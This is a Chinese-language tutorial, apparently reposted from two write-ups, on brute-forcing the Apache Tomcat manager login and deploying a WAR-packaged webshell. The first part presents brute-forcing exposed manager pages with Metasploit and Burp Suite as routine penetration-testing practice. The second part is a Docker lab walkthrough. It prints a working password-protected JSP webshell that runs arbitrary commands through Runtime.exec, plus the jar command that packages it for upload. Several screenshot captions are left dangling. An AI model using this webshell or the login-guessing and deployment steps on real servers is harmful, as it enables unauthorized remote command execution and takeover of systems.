Tomcat后台爆破+部署war马getshell
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Tomcat后台爆破+部署war马getshell相关的知识,希望对你有一定的参考价值。
参考技术A 在渗透测试中,我们经常遇到tomcat后台被默认部署在外部的情况url形如: http://x.x.x.x/manager/html
在这种情况下,我们都会选择去爆破来进入后台部署shell
输入账号admin,密码123456进行抓包测试
这里它是一个401认证
在Tomcat后台登录的数据包中我们发现它会将输入的账号和密码都编码成Base64密文。
这里我们可以先采用Metasploit中的tomcat爆破辅助模块:
这里爆破失败了,不应该啊。。。
没关系,用burpsuite再来尝试
这里注意要取消url编码,因为字典里含有:
成功爆破进入后台
准备好一个jsp马,这里以冰蝎马为例,输入以下命令打包成war:
找到Tomcat管理页面中的WAR file to deploy进行上传就可以部署了。
应用列表已经出现了我们的目录:
访问文件名即可,冰蝎成功连接:
Tomcat弱口令GetShell
0x00 漏洞概述
Tomcat 支持后台部署.war 文件——可直接将 WebShell 部署到 web 目录下。访问后台的条件是用户具有相应权限。
war 包是用来进行 Web 开发时一个网站项目下的所有代码,包括前台 HTML/CSS/JS 代码,以及后台 JavaWeb 的代码。当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成 war 包进行发布。war 包可以放在 Tomcat 下的 webapps 或 work 目录,当 Tomcat 服务器启动时,war 包即会随之解压源代码来进行自动部署。
Tomcat 7+的权限有:
-
manager(后台管理) -
manager-gui 拥有 html 页面权限 -
manager-status 拥有查看 status 的权限 -
manager-script 拥有 text 接口权限(包括 status 权限) -
manager-jmx 拥有 jmx 权限(包括 status 权限) -
host-manager(虚拟主机管理) -
admin-gui 拥有 html 页面权限 -
admin-script 拥有 text 接口权限
这些配置位于conf/tomcat-users.xml中。正常安装情况下,Tomcat 8 中默认没有任何用户,且 manager 页面只允许本地 IP 访问。只有管理员手动修改了这些属性后才可能出现攻击机会。
0x01 靶机配置
仍旧使用镜像。
使用 Docker 自带命令行虽然比较朴素,但能够满足简单查看的需求。
可以看到弱口令用户 tomcat: tomcat,而且具有多项权限。
0x02 利用流程
访问靶机
Apache Tomcat/8.0.43。
弱口令登录
由于是实验,事先从 Docker 获取了弱口令账户。实战中就没这么方便,常常还需要权衡是否有爆破的必要。
找个地方登录,比如/manager/status:
好看:
传大马
做一个含口令的.jsp 大马:
<%
if("thisispasswd".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
将这个.jsp 压缩到.zip 文件中,并将后缀改为.war 即可上传。或者更为标准,使用命令
jar -cvf wdnmd.war wdnmd.jsp
点击 List Applications:
上传 war 包:
部署成功:
可以看到返回消息 OK,也新增了目录/wdnmd。
Get Shell
马的位置是/[war 包名]/[.jsp 文件名]。
利用成功!
以上是关于Tomcat后台爆破+部署war马getshell的主要内容,如果未能解决你的问题,请参考以下文章
利用Metasploit破解Tomcat登录密码并通过部署war包获得Getshell实战